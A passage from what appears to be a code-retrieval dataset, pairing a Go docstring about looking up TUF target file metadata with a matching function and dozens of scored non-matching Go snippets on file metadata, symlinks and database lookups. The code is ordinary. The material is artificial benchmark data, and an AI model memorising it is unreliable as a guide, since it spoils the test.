{\n\tfh.mutex.Lock()\n\tdefer fh.mutex.Unlock()\n\n\tfh.size = size\n}", "title": "" }, { "docid": "a205be3da639e0dd72832e968ccd3d12", "score": "0.5010417", "text": "func (f *File) SeekToEnd() (err error) {\n\tf.mux.Lock()\n\tif f.closed {\n\t\terr = ErrIsClosed\n\t\tgoto END\n\t}\n\n\t_, err = f.f.Seek(0, os.SEEK_END)\n\nEND:\n\tf.mux.Unlock()\n\treturn\n}", "title": "" } ]
2b6137c8ffeb10540cdc4cf9100cd603
TargetMeta returns the FileMeta entry for the given path in the targets file associated with the given role. This may be nil if the target isn't found in the targets file.
[ { "docid": "5c73624d36af0d8a0aa9cb8d58780fb3", "score": "0.8068283", "text": "func (tr TufRepo) TargetMeta(role, path string) *data.FileMeta {\n\tif t, ok := tr.Targets[role]; ok {\n\t\tif m, ok := t.Signed.Targets[path]; ok {\n\t\t\treturn &m\n\t\t}\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "bc4a329d9ca3a802ec246e4b701a3025", "score": "0.7062227", "text": "func (t SignedTargets) GetMeta(path string) *FileMeta {\n\tfor p, meta := range t.Signed.Targets {\n\t\tif p == path {\n\t\t\treturn &meta\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b6c23f67b6b3e915f0c8fee7ce4e400c", "score": "0.6327789", "text": "func (tr TufRepo) FindTarget(path string) *data.FileMeta {\n\tpathDigest := sha256.Sum256([]byte(path))\n\tpathHex := hex.EncodeToString(pathDigest[:])\n\n\tvar walkTargets func(role string) *data.FileMeta\n\twalkTargets = func(role string) *data.FileMeta {\n\t\tif m := tr.TargetMeta(role, path); m != nil {\n\t\t\treturn m\n\t\t}\n\t\t// Depth first search of delegations based on order\n\t\t// as presented in current targets file for role:\n\t\tfor _, r := range tr.TargetDelegations(role, path, pathHex) {\n\t\t\tif m := walkTargets(r.Name); m != nil {\n\t\t\t\treturn m\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\treturn walkTargets(\"targets\")\n}", "title": "" }, { "docid": "11fea7376daffff79c448d7197558f51", "score": "0.52808666", "text": "func (e Exercise) MetadataFilepath() string {\n\treturn filepath.Join(e.Filepath(), metadataFilepath)\n}", "title": "" }, { "docid": "e9d9256a74c006af9bccb30bced1e5e8", "score": "0.51251715", "text": "func (ds *DataBase) GetTarget(path string) (string, error) {\n\tt := \"\"\n\terr := ds.db.Get(&t, ds.db.Rebind(\"SELECT target FROM go WHERE path=?\"), path)\n\n\tif err != nil {\n\t\tswitch {\n\t\tcase errors.Is(err, sql.ErrNoRows):\n\t\t\treturn \"\", data.ErrSqlNoRow\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"%w : %s\", data.ErrSql, err)\n\t\t}\n\t}\n\n\treturn t, nil\n}", "title": "" }, { "docid": "fa267084322f2bfaee1709329feb2704", "score": "0.50634", "text": "func tiltfileTarget(name model.ManifestName, ms *store.ManifestState) session.Target {\n\ttarget := session.Target{\n\t\tName: \"tiltfile:update\",\n\t\tResources: []string{name.String()},\n\t\tType: session.TargetTypeJob,\n\t}\n\n\t// Tiltfile is special in engine state and doesn't have a target, just state, so\n\t// this logic is largely duplicated from the generic resource build logic\n\tif ms.IsBuilding() {\n\t\ttarget.State.Active = &session.TargetStateActive{\n\t\t\tStartTime: apis.NewMicroTime(ms.EarliestCurrentBuild().StartTime),\n\t\t}\n\t} else if hasPendingChanges, _ := ms.HasPendingChanges(); hasPendingChanges {\n\t\ttarget.State.Waiting = &session.TargetStateWaiting{\n\t\t\tWaitReason: \"config-changed\",\n\t\t}\n\t} else if len(ms.BuildHistory) != 0 {\n\t\tlastBuild := ms.LastBuild()\n\t\ttarget.State.Terminated = &session.TargetStateTerminated{\n\t\t\tStartTime: apis.NewMicroTime(lastBuild.StartTime),\n\t\t\tFinishTime: apis.NewMicroTime(lastBuild.FinishTime),\n\t\t\tError: errToString(lastBuild.Error),\n\t\t}\n\t} else {\n\t\t// given the current engine behavior, this doesn't actually occur because\n\t\t// the first build happens as part of initialization\n\t\ttarget.State.Waiting = &session.TargetStateWaiting{\n\t\t\tWaitReason: \"initial-build\",\n\t\t}\n\t}\n\n\treturn target\n}", "title": "" }, { "docid": "c2186317b7aa085001218b584fad5c28", "score": "0.50460464", "text": "func getTarget(path string) (string, error) {\n\n\tif !isSymlink(path) {\n\t\treturn \"\", fmt.Errorf(\"%s is not a symlink\", path)\n\t}\n\n\ttarget, err := os.Readlink(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn target, err\n}", "title": "" }, { "docid": "040166ec334a7d92e14f773d91a647d0", "score": "0.49935368", "text": "func Get(sha1 string) (FileMeta, bool) {\n\tm, ok := fileMetas[sha1]\n\treturn m, ok\n}", "title": "" }, { "docid": "77bfc15061a6e2120dbb938c33fff941", "score": "0.4967305", "text": "func GetMeta(fname string) (FileStruct, error) {\n\tfileStr := FileStruct{}\n\n\tfileStr.FullName = fname\n\tfileStr.NewFullName = fname\n\n\tif IsVideoEligible(filepath.Ext(fname)) {\n\t\tfileStr.TypeOfMedia = VIDEO\n\t\tif err := ReadVideoMeta(fname, &fileStr); err != nil {\n\t\t\treturn fileStr, err\n\t\t}\n\t}\n\tif IsPhotoEligible(filepath.Ext(fname)) {\n\t\tReadPhotoMeta(fname, &fileStr)\n\t\tfileStr.TypeOfMedia = PHOTO\n\t}\n\n\tfileStr.OriginDir, fileStr.Name = filepath.Split(fname)\n\tfileStr.Extension = filepath.Ext(fname)\n\tfileStr.NewName = fileStr.Name\n\treturn fileStr, nil\n}", "title": "" }, { "docid": "486e76fc29e47639790e96766b4ccea1", "score": "0.48621574", "text": "func ForTarget(workDir string, targetPath string) (TargetInfo, error) {\n\ttargetFolder, targetFile := filepath.Split(targetPath)\n\n\tworkDir, err := ripper.GetWorkPathForTargetFolder(workDir, targetFolder)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn read(workDir, targetFile)\n}", "title": "" }, { "docid": "aab54a0df86c0971143fe3d05bbb8eb7", "score": "0.48372093", "text": "func (o CacheNfsTargetNamespaceJunctionOutput) TargetPath() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v CacheNfsTargetNamespaceJunction) *string { return v.TargetPath }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "01e24336603c894917b327726177ee2d", "score": "0.4757514", "text": "func GetFileMeta(sha1 string) FileMeta {\n\treturn fileMetas[sha1]\n}", "title": "" }, { "docid": "a3a5d8dc2867f7aa366ff74f38c1d625", "score": "0.47429004", "text": "func (s *SymlinkInode) Target() (target string) {\n\ttarget = s.target\n\treturn\n}", "title": "" }, { "docid": "51aed74c00b0926770230dfcd9444e45", "score": "0.4725385", "text": "func MetadataFilePath(token string, project string, config string, format models.SecretsFormat, nameTransformer *models.SecretsNameTransformer, secretNames []string) string {\n\tfileName := fmt.Sprintf(\".metadata-%s.json\", GenerateFallbackFileHash(token, project, config, format, nameTransformer, secretNames))\n\tpath := filepath.Join(DefaultMetadataDir, fileName)\n\tif absPath, err := filepath.Abs(path); err == nil {\n\t\treturn absPath\n\t}\n\treturn path\n}", "title": "" }, { "docid": "5e44bdc404ddb7ac85e14d4ec82ce082", "score": "0.4714421", "text": "func MetadataFile(path string) (models.SecretsFileMetadata, Error) {\n\tutils.LogDebug(fmt.Sprintf(\"Using metadata file %s\", path))\n\n\tif _, err := os.Stat(path); err != nil {\n\t\tvar e Error\n\t\te.Err = err\n\t\tif os.IsNotExist(err) {\n\t\t\te.Message = \"Metadata file does not exist\"\n\t\t} else {\n\t\t\te.Message = \"Unable to read metadata file\"\n\t\t}\n\t\treturn models.SecretsFileMetadata{}, e\n\t}\n\n\tutils.LogDebug(fmt.Sprintf(\"Reading metadata file %s\", path))\n\tresponse, err := ioutil.ReadFile(path) // #nosec G304\n\tif err != nil {\n\t\treturn models.SecretsFileMetadata{}, Error{Err: err, Message: \"Unable to read metadata file\"}\n\t}\n\n\tvar metadata models.SecretsFileMetadata\n\tif err := yaml.Unmarshal(response, &metadata); err != nil {\n\t\treturn models.SecretsFileMetadata{}, Error{Err: err, Message: \"Unable to parse metadata file\"}\n\t}\n\n\treturn metadata, Error{}\n}", "title": "" }, { "docid": "54c82ef68a93838f0b36f57c4f77c1b8", "score": "0.47041947", "text": "func metaPath(name string) string {\n\treturn filepath.Join(rootDir, pluginIDFromName(name)+\".meta\")\n}", "title": "" }, { "docid": "a74bfb43a99e9dd5e3d02ecb4949831a", "score": "0.46932036", "text": "func (f *File) GetMetadata() (Metadata, bool, error) {\n\tm := Metadata{}\n\tfound, err := f.Get(f.metadataKey(), &m)\n\treturn m, found, err\n}", "title": "" }, { "docid": "30c4fb26c3b8da2a1edc251e7ebfdb35", "score": "0.46623158", "text": "func (drop *DropboxClient) GetFileMeta(path string) *DropFile {\n\tfile := new(DropFile)\n\n\terr := drop.getUrl(api_url+\"metadata/sandbox/\"+path, nil, file)\n\tif err != nil {\n\t\tfmt.Printf(\"error getting file: %v\", err)\n\t}\n\n\treturn file\n}", "title": "" }, { "docid": "136b33474739c19530f05bf4cde70715", "score": "0.46454364", "text": "func readReleaseMeta(fpath string) Release {\n\tdata, err := ioutil.ReadFile(fpath)\n\tquitOn(err)\n\tvar rel Release\n\terr = json.Unmarshal(data, &rel)\n\tquitOn(err)\n\treturn rel\n}", "title": "" }, { "docid": "c2cdf3e07a8eb8b21110a0d8d6c79b90", "score": "0.4618841", "text": "func (o *TeflonObject) MetaFile() string {\n\tif o.FileInfo.IsDir {\n\t\treturn filepath.Join(o.Path, teflonDirName, metaDirMetaName)\n\t}\n\td, n := filepath.Split(o.Path)\n\treturn filepath.Join(d, teflonDirName, n+metaExtension)\n}", "title": "" }, { "docid": "de27b005086c84d76bf8332bd2c3ebfb", "score": "0.46008706", "text": "func (config *Config) Target() string {\n\treturn config.ConfigFile.Target\n}", "title": "" }, { "docid": "d67910c34e0e5dc27e1561c54d63ead5", "score": "0.45913923", "text": "func MetaFromFile(path string) (meta *Meta, err error) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tmeta = &Meta{}\n\tif err = jsoniter.Unmarshal(data, &meta); err != nil {\n\t\treturn\n\t}\n\n\tif meta.Key == \"\" {\n\t\treturn nil, errors.New(\"cache meta file \" + path + \" is invalid: no key is defined\")\n\t}\n\tif meta.Created == 0 {\n\t\treturn nil, errors.New(\"cache meta file \" + path + \" is invalid: no created time is defined\")\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "9c9630333614be6f514c81f7314856b8", "score": "0.45837566", "text": "func (m *jobData) Target() *string {\n\treturn m.targetField\n}", "title": "" }, { "docid": "4a89d70d17b1172f93181ff2822cc506", "score": "0.45806032", "text": "func (r *Resource) Target() string {\n\treturn r.target\n}", "title": "" }, { "docid": "3b312d401bc5ff80888ab03477601a0e", "score": "0.45762318", "text": "func read(workFolder string, targetFileName string) (TargetInfo, error) {\n\ttargetInfoFile := filepath.Join(workFolder, files.WithExtension(targetFileName, targetinfo_file_extension))\n\tjsonRaw, err := ioutil.ReadFile(targetInfoFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//1. get type\n\ttyped := Typed{}\n\terr = json.Unmarshal(jsonRaw, &typed)\n\n\tvar ti TargetInfo\n\tswitch typed.Type {\n\tcase TARGETINFO_TYPE_MOVIE:\n\t\tti = &Movie{}\n\tcase TARGETINFO_TPYE_EPISODE:\n\t\tti = &Episode{}\n\tdefault:\n\t\treturn nil, errors.New(fmt.Sprintf(\"target info file contains invalid target info type: \\\"%s\\\"\", typed.Type))\n\t}\n\n\t//2. get complete target-info\n\terr = json.Unmarshal(jsonRaw, &ti)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ti, nil\n}", "title": "" }, { "docid": "84aa5d6b3e898fd49ee57a42bdf4fac8", "score": "0.45669037", "text": "func targetExistsInFile(location, target string) bool {\n\tif !fs.FileExists(location) {\n\t\treturn false\n\t}\n\n\tb, err := os.ReadFile(location)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t//TODO: Might want to pull in the state object here one day so we can query the build\n\t// graph instead of using regexp\n\n\tstr := \"plugin_repo\\\\(.+name = \\\"\" + target + \"\\\"\"\n\texists, err := regexp.Match(\"(?s)\"+str, b)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn exists\n}", "title": "" }, { "docid": "13efcc8eb475ca06646f541739776a9d", "score": "0.45574787", "text": "func GetMetadata(path string) (*Metadata, error) {\n\tvar md *Metadata\n\n\t// PackageManifest format\n\tmanifest, err := getManifest(filepath.Join(path, \"..\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif manifest != nil {\n\t\tcsv, csvData, err := getCSV(path)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error getting package %s csv (path: %s): %w\", manifest.PackageName, path, err)\n\t\t}\n\t\tvar channels []*hub.Channel\n\t\tfor _, channel := range manifest.Channels {\n\t\t\tmatches := channelVersionRE.FindStringSubmatch(channel.CurrentCSVName)\n\t\t\tif len(matches) != 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tversion := matches[1]\n\t\t\tchannels = append(channels, &hub.Channel{\n\t\t\t\tName: channel.Name,\n\t\t\t\tVersion: version,\n\t\t\t})\n\t\t}\n\t\tmd = &Metadata{\n\t\t\tFormat: packageManifest,\n\t\t\tName: manifest.PackageName,\n\t\t\tVersion: csv.Spec.Version.String(),\n\t\t\tChannels: channels,\n\t\t\tDefaultChannelName: manifest.DefaultChannelName,\n\t\t\tCSV: csv,\n\t\t\tCSVData: csvData,\n\t\t}\n\t}\n\n\t// Bundle format\n\tannotations, err := getBundleAnnotations(filepath.Join(path, \"metadata\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif annotations != nil {\n\t\tcsv, csvData, err := getCSV(filepath.Join(path, \"manifests\"))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error getting package %s csv (path: %s): %w\", annotations.PackageName, path, err)\n\t\t}\n\t\tvar channels []*hub.Channel\n\t\tfor _, channelName := range strings.Split(annotations.Channels, \",\") {\n\t\t\tchannels = append(channels, &hub.Channel{\n\t\t\t\tName: channelName,\n\t\t\t\tVersion: csv.Spec.Version.String(),\n\t\t\t})\n\t\t}\n\t\tmd = &Metadata{\n\t\t\tFormat: bundle,\n\t\t\tName: annotations.PackageName,\n\t\t\tVersion: csv.Spec.Version.String(),\n\t\t\tChannels: channels, // Will be updated when all package versions are processed\n\t\t\tDefaultChannelName: annotations.DefaultChannelName,\n\t\t\tCSV: csv,\n\t\t\tCSVData: csvData,\n\t\t}\n\t}\n\n\tif md != nil {\n\t\tif err := md.validate(); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error validating metadata: %w\", err)\n\t\t}\n\t}\n\n\treturn md, nil\n}", "title": "" }, { "docid": "646d9d25add20bd5830b3b883a127a11", "score": "0.45459417", "text": "func (t Target) Role() Role {\n\treturn t.role\n}", "title": "" }, { "docid": "ed788063087caa9046ca2a47f0bb257c", "score": "0.45381", "text": "func NewTarget(targetName string, targetPath string) (*Target, error) {\n\tb, err := ioutil.ReadFile(targetPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmeta, err := data.NewFileMeta(bytes.NewBuffer(b))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Target{Name: targetName, Hashes: meta.Hashes, Length: meta.Length}, nil\n}", "title": "" }, { "docid": "933e306c9036f9c1190e887109df4390", "score": "0.45196247", "text": "func (db *DB) MetaPath() string {\n\treturn db.metaPath\n}", "title": "" }, { "docid": "e57c2e912bedc27d9bab9723fee2bb25", "score": "0.4503507", "text": "func (e Exercise) MetadataDir() string {\n\treturn e.Filepath()\n}", "title": "" }, { "docid": "9f25ce7e05508c157c9ae7621086bcba", "score": "0.44997597", "text": "func (o *ModelsDeploymentTarget) GetMetadata() ModelsDeploymentTargetMetadata {\n\tif o == nil || o.Metadata == nil {\n\t\tvar ret ModelsDeploymentTargetMetadata\n\t\treturn ret\n\t}\n\treturn *o.Metadata\n}", "title": "" }, { "docid": "aa32e727a38bb2dfc5ab8967de4b1501", "score": "0.44991282", "text": "func (o SharedDirectoryOutput) Target() SharedDirectoryTargetOutput {\n\treturn o.ApplyT(func(v *SharedDirectory) SharedDirectoryTargetOutput { return v.Target }).(SharedDirectoryTargetOutput)\n}", "title": "" }, { "docid": "2a83727b8eb7c2d2d8b23c33634c7e54", "score": "0.44927916", "text": "func (o *Object) readMetadataFromFile(m *fs.Metadata) (err error) {\n\tinfo, err := o.fs.lstat(o.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tstat, ok := info.Sys().(*syscall.Win32FileAttributeData)\n\tif !ok {\n\t\tfs.Debugf(o, \"didn't return Win32FileAttributeData as expected\")\n\t\treturn nil\n\t}\n\t// FIXME do something with stat.FileAttributes ?\n\tm.Set(\"mode\", fmt.Sprintf(\"%0o\", info.Mode()))\n\tsetTime := func(key string, t syscall.Filetime) {\n\t\tm.Set(key, time.Unix(0, t.Nanoseconds()).Format(metadataTimeFormat))\n\t}\n\tsetTime(\"atime\", stat.LastAccessTime)\n\tsetTime(\"mtime\", stat.LastWriteTime)\n\tsetTime(\"btime\", stat.CreationTime)\n\treturn nil\n}", "title": "" }, { "docid": "78fe806e52d5aee49426531c85e7461b", "score": "0.44846728", "text": "func (i *Incarnation) target() *picchuv1alpha1.RevisionTarget {\n\tif i.revision == nil {\n\t\treturn nil\n\t}\n\tfor _, target := range i.revision.Spec.Targets {\n\t\tif target.Name == i.controller.getReleaseManager().Spec.Target {\n\t\t\treturn &target\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "751248b9915858120159821bef6d564b", "score": "0.44631785", "text": "func (s *fs) GetMetadata(dgst digest.Digest, key string) ([]byte, error) {\n\ts.RLock()\n\tdefer s.RUnlock()\n\n\tif _, err := s.get(dgst); err != nil {\n\t\treturn nil, err\n\t}\n\tbytes, err := os.ReadFile(filepath.Join(s.metadataDir(dgst), key))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to read metadata\")\n\t}\n\treturn bytes, nil\n}", "title": "" }, { "docid": "0e0e4fe53dbff767b475c6f3c348cd15", "score": "0.4462354", "text": "func (ds *DataSource) GetUnitMeta(ctx context.Context, path, requestedModulePath, requestedVersion string) (_ *internal.UnitMeta, err error) {\n\tdefer derrors.Wrap(&err, \"GetUnitMeta(%q, %q, %q)\", path, requestedModulePath, requestedVersion)\n\n\tif requestedModulePath == internal.UnknownModulePath {\n\t\trequestedModulePath, err = ds.findModule(path)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tds.mu.Lock()\n\tmodule := ds.loadedModules[requestedModulePath]\n\tds.mu.Unlock()\n\tif module == nil {\n\t\treturn nil, fmt.Errorf(\"%s not loaded: %w\", requestedModulePath, derrors.NotFound)\n\t}\n\n\tum := &internal.UnitMeta{\n\t\tPath: path,\n\t\tModuleInfo: internal.ModuleInfo{\n\t\t\tModulePath: requestedModulePath,\n\t\t\tVersion: fetch.LocalVersion,\n\t\t\tCommitTime: fetch.LocalCommitTime,\n\t\t\tIsRedistributable: module.IsRedistributable,\n\t\t},\n\t}\n\n\tfor _, u := range module.Units {\n\t\tif u.Path == path {\n\t\t\tum.Name = u.Name\n\t\t\tum.IsRedistributable = u.IsRedistributable\n\t\t}\n\t}\n\n\treturn um, nil\n}", "title": "" }, { "docid": "f04f55f268ebcf8a884156b1617a1716", "score": "0.44500023", "text": "func GetFileMeta(fileSha1 string) FileMeta {\n\treturn fileMetas[fileSha1]\n}", "title": "" }, { "docid": "77f1c99f12ae19680b215004deed0b73", "score": "0.44463378", "text": "func (f *FileHandle) Meta() FileMeta {\n\treturn f.meta\n}", "title": "" }, { "docid": "7354dee80f23b38021a477368ac7a926", "score": "0.44381636", "text": "func (store Store) ReadMetaFile() (string, error) {\n\tfullFilename := util.PathConcat(store.folder, metaFile)\n\treturn fileio.ReadFile(fullFilename)\n}", "title": "" }, { "docid": "101ba62f40ad517b6dcc8c8ebac8c88b", "score": "0.44367748", "text": "func (o PipelineRunResponseResponsePtrOutput) Target() ExportPipelineTargetPropertiesResponsePtrOutput {\n\treturn o.ApplyT(func(v *PipelineRunResponseResponse) *ExportPipelineTargetPropertiesResponse {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(ExportPipelineTargetPropertiesResponsePtrOutput)\n}", "title": "" }, { "docid": "35db63d0d2c64a2d27b250a7be6686b8", "score": "0.44289565", "text": "func (info FileInfo) GetSymlinkTarget() string {\n\tret0 := C.g_file_info_get_symlink_target(info.native())\n\tret := C.GoString(ret0)\n\treturn ret\n}", "title": "" }, { "docid": "c01d8ed5d74f9688609375b652291157", "score": "0.4423879", "text": "func getMetadatas (f *os.File) tag.Metadata {\n m, err := tag.ReadFrom(f)\n\n if err != nil {\n log.Fatal(err)\n }\n\n return m\n}", "title": "" }, { "docid": "b6016563ba3eed60b419576393557192", "score": "0.4422977", "text": "func (m *CloudPropertyJobData) Target() *string {\n\treturn m.targetField\n}", "title": "" }, { "docid": "dfec8ff9970fbc0a96aef51421ae7d83", "score": "0.44192126", "text": "func (c *Config) Target() *engine.NameSpace {\n\treturn &engine.NameSpace{\n\t\tType: \"module\",\n\t\tModule: \"file\",\n\t}\n}", "title": "" }, { "docid": "069eb786ccf0b457a89dce4350f7cba3", "score": "0.4412491", "text": "func TargetExists(path string) bool {\n\t_, err1 := os.Stat(path)\n\t_, err2 := os.Readlink(path) // os.Stat returns false on Symlinks that don't point to a valid file\n\t_, err3 := os.Lstat(path) // for links where os.Stat and os.Readlink fail (e.g. Windows socket files)\n\treturn err1 == nil || err2 == nil || err3 == nil\n}", "title": "" }, { "docid": "8b9837bd1aff7d8bc9f97f0911d19c49", "score": "0.44102004", "text": "func getFileMetadata(c files.Client, path string) (files.IsMetadata, error) {\n\targ := files.NewGetMetadataArg(path)\n\n\tres, err := c.GetMetadata(arg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}", "title": "" }, { "docid": "3a503619b6afe0053291ab7aeb772479", "score": "0.44003934", "text": "func (o *FileProjectFilesResponse) GetMeta() ViewMeta {\n\tif o == nil || o.Meta == nil {\n\t\tvar ret ViewMeta\n\t\treturn ret\n\t}\n\treturn *o.Meta\n}", "title": "" }, { "docid": "bf94abcb83835c88fb4662f4a78070a0", "score": "0.43986338", "text": "func (XattrsBackend) MetadataPath(path string) string { return path }", "title": "" }, { "docid": "78153a265bc62554a2656c0af83aa944", "score": "0.43689772", "text": "func fetchFileMetadata(dir, urlPrefix, tag string) (*FileMetadata, error) {\n\tif dir == \"\" {\n\t\treturn nil, nil\n\t}\n\tif tag == \"\" {\n\t\treturn nil, errors.New(\"release tags not specified\")\n\t}\n\tif urlPrefix == \"\" {\n\t\treturn nil, errors.New(\"url prefix not specified\")\n\t}\n\n\tfm := new(FileMetadata)\n\tm := map[*[]File][]string{\n\t\t&fm.Source: {\"kubernetes.tar.gz\", \"kubernetes-src.tar.gz\"},\n\t\t&fm.Client: {\"kubernetes-client*.tar.gz\"},\n\t\t&fm.Server: {\"kubernetes-server*.tar.gz\"},\n\t\t&fm.Node: {\"kubernetes-node*.tar.gz\"},\n\t}\n\n\tvar fileCount int\n\tfor fileType, patterns := range m {\n\t\tfInfo, err := fileInfo(dir, patterns, urlPrefix, tag)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"fetching file info: %w\", err)\n\t\t}\n\t\t*fileType = append(*fileType, fInfo...)\n\t\tfileCount += len(fInfo)\n\t}\n\n\tif fileCount == 0 {\n\t\treturn nil, nil\n\t}\n\treturn fm, nil\n}", "title": "" }, { "docid": "57444c3bf01cbe10c55a1e25d831ee85", "score": "0.43650675", "text": "func (m *Meta) GetSourcePath() string {\n\treturn m.getSourcePath()\n}", "title": "" }, { "docid": "181dde2d1ba0cf60a1761b466bf2dedf", "score": "0.43597975", "text": "func (o *FilePath) GetMetadata() []string {\n\n\treturn o.Metadata\n}", "title": "" }, { "docid": "50ae72b94dfea050537994d38d1159b1", "score": "0.43376973", "text": "func (o *SparseFilePath) GetMetadata() (out []string) {\n\n\tif o.Metadata == nil {\n\t\treturn\n\t}\n\n\treturn *o.Metadata\n}", "title": "" }, { "docid": "137ecdf88b71e151c16febc5fcf6603f", "score": "0.4333201", "text": "func (c *jsiiProxy_CfnMatchmakingRuleSet) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "1a20fc44ffe0aceafc4e137159f24608", "score": "0.4324317", "text": "func GetFileMeta(filename string) (*TableFile, error) {\n\tstmt, err := mydb.DBConn().Prepare(\n\t\t\"select filename, filesize, filepath, hash, create_time from tb_file \" +\n\t\t\t\" where filename = ? and status = 1 limit 1\")\n\tif err != nil {\n\t\tfmt.Println(\"Failded to prepare statement, err: \", err.Error())\n\t\treturn nil, err\n\t}\n\tdefer stmt.Close()\n\ttfile := TableFile{}\n\terr = stmt.QueryRow(filename).Scan(\n\t\t&tfile.FileName, &tfile.FileSize, &tfile.FilePath, &tfile.Hash, &tfile.CreateTime)\n\tif err != nil {\n\t\tfmt.Println(err.Error())\n\t\treturn nil, err\n\t}\n\treturn &tfile, nil\n}", "title": "" }, { "docid": "78e55b46217150541484d1f93d77dbe5", "score": "0.43214533", "text": "func (t *FileTarget) Details() interface{} {\n\tfiles := map[string]int64{}\n\tfor fileName := range t.tails {\n\t\tfiles[fileName], _ = t.positions.Get(fileName)\n\t}\n\treturn files\n}", "title": "" }, { "docid": "46ebce41474cba8360a6255b5bb9e2d8", "score": "0.43196848", "text": "func LoadMetaDataFile(path string) (*utils.MetaData, error) {\n\tfileContent, err := params.GetEnvSubstitutedFileContent(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmetaData := &utils.MetaData{}\n\terr = yaml.Unmarshal([]byte(fileContent), &metaData)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn metaData, err\n}", "title": "" }, { "docid": "20a3d853b281a9a733580b810c6f3e28", "score": "0.42995754", "text": "func fetchMeta(ctx context.Context, client *Client, importPath string) (_ *sourceMeta, err error) {\n\tdefer derrors.Wrap(&err, \"fetchMeta(ctx, client, %q)\", importPath)\n\n\turi := importPath\n\tif !strings.Contains(uri, \"/\") {\n\t\t// Add slash for root of domain.\n\t\turi = uri + \"/\"\n\t}\n\turi = uri + \"?go-get=1\"\n\n\tresp, err := client.doURL(ctx, \"GET\", \"https://\"+uri, true)\n\tif err != nil {\n\t\tresp, err = client.doURL(ctx, \"GET\", \"http://\"+uri, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tdefer resp.Body.Close()\n\treturn parseMeta(importPath, resp.Body)\n}", "title": "" }, { "docid": "3f6d7c8eae9e86fbb7d091b1faed1857", "score": "0.42963722", "text": "func (o DockerBuildStepResponseOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v DockerBuildStepResponse) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f893950df8a88bdba2aec64b56c4ef88", "score": "0.42909476", "text": "func (o PipelineRunRequestResponsePtrOutput) Target() PipelineRunTargetPropertiesResponsePtrOutput {\n\treturn o.ApplyT(func(v *PipelineRunRequestResponse) *PipelineRunTargetPropertiesResponse {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(PipelineRunTargetPropertiesResponsePtrOutput)\n}", "title": "" }, { "docid": "e7a8756ef72b3667bde3d15e3be65cfb", "score": "0.42850187", "text": "func (db *Database) Lookup(jobID, path string) (*Metadata, error) {\n\tstatement := db.st.SelectMetadata.St\n\tif statement == nil {\n\t\treturn nil, errNoStatement\n\t}\n\n\tmd := &Metadata{}\n\n\terr := statement.QueryRow(jobID, path).Scan(&md.ID, &md.JobID, &md.Size, &md.Path, &md.ContentType)\n\tif err != nil {\n\t\treturn nil, errNoMetadata\n\t}\n\n\treturn md, nil\n}", "title": "" }, { "docid": "72c7b60bb3621920aeca84a48d3c6885", "score": "0.42747366", "text": "func (mrouter *MethodRouter) GetTarget() interface{} {\n\treturn mrouter.target\n}", "title": "" }, { "docid": "79ba0a3ffa261e0fdd9b0a6ed3426214", "score": "0.4263765", "text": "func (o PipelineRunResponseResponseOutput) Target() ExportPipelineTargetPropertiesResponsePtrOutput {\n\treturn o.ApplyT(func(v PipelineRunResponseResponse) *ExportPipelineTargetPropertiesResponse { return v.Target }).(ExportPipelineTargetPropertiesResponsePtrOutput)\n}", "title": "" }, { "docid": "1dfdbd00a73163ddd22fd0631b07c8bb", "score": "0.42635548", "text": "func (t *Afts_MacEntry) GetMetadata() Binary {\n\tif t == nil || t.Metadata == nil {\n\t\treturn nil\n\t}\n\treturn t.Metadata\n}", "title": "" }, { "docid": "72d8728665bee9d7d1d883c9eb8487b5", "score": "0.42604524", "text": "func (XattrsBackend) IsMetaFile(path string) bool { return strings.HasSuffix(path, \".meta.lock\") }", "title": "" }, { "docid": "0a809ef131da82aacbb115651f95ce38", "score": "0.42361546", "text": "func (o PipelineRunRequestPtrOutput) Target() PipelineRunTargetPropertiesPtrOutput {\n\treturn o.ApplyT(func(v *PipelineRunRequest) *PipelineRunTargetProperties {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(PipelineRunTargetPropertiesPtrOutput)\n}", "title": "" }, { "docid": 